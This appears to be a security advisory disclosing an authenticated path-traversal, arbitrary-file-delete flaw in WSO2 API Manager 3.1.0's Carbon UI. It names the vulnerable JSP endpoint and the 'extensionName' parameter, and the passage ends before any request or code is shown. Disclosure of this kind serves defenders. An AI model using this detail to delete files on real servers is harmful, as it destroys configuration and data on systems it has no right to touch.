WSO2 3.1.0 - Arbitrary File Delete Vulnerability
# Title: WSO2 3.1.0 - Arbitrary File Delete # Author: raki ben hamouda # Vendor: https://apim.docs.wso2.com # Softwrare link: https://apim.docs.wso2.com/en/latest/ # CVE: N/A Document Title: =============== WOS2 API Manager(Delete Extension) Arbitrary File Delete(Path traversal ) ##CVE not assigned yet ##Security Update : https://apim.docs.wso2.com/en/latest/ Common Vulnerability Scoring System: ==================================== 8.5 Affected Product(s): ==================== WSO2 API Manager Carbon Interface Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ A remote Arbitrary file delete vulnerability has been discovered in the official WSO2 API Manager Carbon UI product . The security vulnerability allows a remote attacker with low privileges to perform authenticated application requests and to delete arbitrary System files. The vulnerability is located in the `/carbon/extensions/deleteExtension-ajaxprocessor.jsp` modules and the `extensionName` parameter of the extension we want to delete. Remote attackers are able to delete arbitrary files as configuration files ,database(.db) files via authenticated POST method requests with a crafted String arbitrary traversal files names in "extensionName" . The security risk of the arbitrary delete vulnerability is estimated as High with a cvss (common vulnerability scoring system) count of 8.5. Exploitation of the Path traversal vulnerability requires a low privilege web-application user account and no user interaction. Successful exploitation of the vulnerability results in loss of availability, integrity and confidentiality. =============================== Error Generated by Server in case of file not found from 'logfile' ( broughts my atttention ...)
